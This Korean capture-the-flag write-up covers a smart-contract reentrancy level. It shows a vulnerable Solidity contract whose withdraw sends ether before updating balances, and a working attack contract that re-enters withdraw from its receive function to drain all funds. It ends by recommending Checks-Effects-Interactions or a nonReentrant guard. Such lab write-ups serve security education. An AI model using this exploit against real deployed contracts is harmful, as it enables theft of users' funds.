이번 문제는 컨트랙트의 패턴의 문제를 통해 재진입 공격을 시도하는 것입니다.
재진입 공격에 취약한 부분을 찾아 공격을 진행하면 됩니다.
컨트랙트가 가지고 있는 자산을 모두 탈취하는 것이 목표입니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
만약 트랜잭션이 일어나 다른 컨트랙트와 상호작용을 하고 상태를 변화시키려고 할 때에는 제목에 있는 Checks-Effects-Interactions 패턴으로 컨트랙트를 작성해야 합니다.
만약 이 디자인 패턴을 지키지 않는다면 트랜잭션이 실행되는 동안 상대 컨트랙트에서 해당 함수를 재호출해 공격을 진행할 수 있습니다.
문제 컨트랙트에서도 이러한 디자인 패턴을 지키지 않아 재진입 공격에 취약합니다.
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
문제 컨트랙트에서는 출금 함수에서 Checks-Interactions-Effects 의 패턴을 사용했습니다.
위에서 지적한봐와 같이 eth을 일단 전송하고 상태를 업데이트 하기 때문에 만약 이더를 받는 receive나 fallback 함수에서 컨트랙트의 잔액을 확인하고 함수를 재호출 한다면 같은 양의 이더를 원하는 만큼 계속 받을 수 있습니다.
아래와 같이 공격 컨트랙트를 발행해 공격을 진행하면 됩니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "./Reentrance.sol";
contract Attack {
Reentrance private reentrance;
constructor(address payable _reentrance) public {
reentrance = Reentrance(_reentrance);
}
function attack() public payable {
reentrance.donate.value(msg.value)(address(this));
reentrance.withdraw(msg.value);
}
receive() external payable {
reentrance.withdraw(msg.value);
}
}
Checks-Effects-Interactions으로 작성하거나 modifier에 nonReentrant 같은 것을 사용합시다.